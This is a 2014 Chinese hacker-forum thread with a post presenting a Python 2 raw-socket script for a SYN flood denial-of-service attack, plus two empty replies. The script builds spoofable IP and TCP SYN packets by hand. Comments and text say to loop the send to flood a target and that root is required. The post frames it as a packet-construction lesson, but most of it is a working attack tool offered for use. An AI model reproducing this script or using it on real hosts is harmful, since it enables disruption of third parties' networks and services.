搜索
查看: 449|回复: 2

Python实现SYN Flood攻击

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2014-2-13 19:28:46 | 显示全部楼层 |阅读模式
0×00 背景
SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
0×01 Code
本文章的目是介绍使用python构造packet的方法。
使用raw socket来发送packets。 该程序只适用于Linux。windows可以尝试调用winpcap。
  1. '''
  2.     Syn flood program in python using raw sockets (Linux)
  3.    
  4.     Silver Moon (m00n.silv3r@gmail.com)
  5. '''

  6. # some imports
  7. import socket, sys
  8. from struct import *

  9. # checksum functions needed for calculation checksum
  10. def checksum(msg):
  11.     s = 0
  12.     # loop taking 2 characters at a time
  13.     for i in range(0, len(msg), 2):
  14.         w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )
  15.         s = s + w
  16.    
  17.     s = (s>>16) + (s & 0xffff);
  18.     #s = s + (s >> 16);
  19.     #complement and mask to 4 byte short
  20.     s = ~s & 0xffff
  21.    
  22.     return s

  23. #create a raw socket
  24. try:
  25.     s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  26. except socket.error , msg:
  27.     print 'Socket could not be created. Error Code : ' + str(msg[0]) +' Message ' + msg[1]
  28.     sys.exit()

  29. # tell kernel not to put in headers, since we are providing it
  30. s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  31.    
  32. # now start constructing the packet
  33. packet = '';

  34. source_ip = '192.168.1.101'
  35. dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com')

  36. # ip header fields
  37. ihl = 5
  38. version = 4
  39. tos = 0
  40. tot_len = 20 + 20  # python seems to correctly fill the total length, dont know how ??
  41. id = 54321  #Id of this packet
  42. frag_off = 0
  43. ttl = 255
  44. protocol = socket.IPPROTO_TCP
  45. check = 10  # python seems to correctly fill the checksum
  46. saddr =socket.inet_aton ( source_ip )  #Spoof the source ip address if you want to
  47. daddr = socket.inet_aton ( dest_ip )

  48. ihl_version = (version << 4) + ihl

  49. # the ! in the pack format string means network order
  50. ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr)

  51. # tcp header fields
  52. source = 1234   # source port
  53. dest = 80   # destination port
  54. seq = 0
  55. ack_seq = 0
  56. doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes
  57. #tcp flags
  58. fin = 0
  59. syn = 1
  60. rst = 0
  61. psh = 0
  62. ack = 0
  63. urg = 0
  64. window = socket.htons (5840)    #   maximum allowed window size
  65. check = 0
  66. urg_ptr = 0

  67. offset_res = (doff << 4) + 0
  68. tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5)

  69. # the ! in the pack format string means network order
  70. tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr)

  71. # pseudo header fields
  72. source_address = socket.inet_aton( source_ip )
  73. dest_address = socket.inet_aton(dest_ip)
  74. placeholder = 0
  75. protocol = socket.IPPROTO_TCP
  76. tcp_length = len(tcp_header)

  77. psh = pack('!4s4sBBH', source_address , dest_address , placeholder , protocol , tcp_length);
  78. psh = psh + tcp_header;

  79. tcp_checksum = checksum(psh)

  80. # make the tcp header again and fill the correct checksum
  81. tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr)

  82. # final full packet - syn packets dont have any data
  83. packet = ip_header + tcp_header

  84. #Send the packet finally - the port specified has no effect
  85. s.sendto(packet, (dest_ip , 0))    # put this in a loop if you want to flood the target

  86. #put the above line in a loop like while 1: if you want to flood
复制代码

注意:运行时需要Root权限。
过段时间可能会取消签到功能了
854955425 该用户已被删除
发表于 2014-2-13 19:28:52 | 显示全部楼层
沙发!沙发!
854955425 该用户已被删除
发表于 2014-2-13 19:53:25 | 显示全部楼层
有竞争才有进步嘛
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表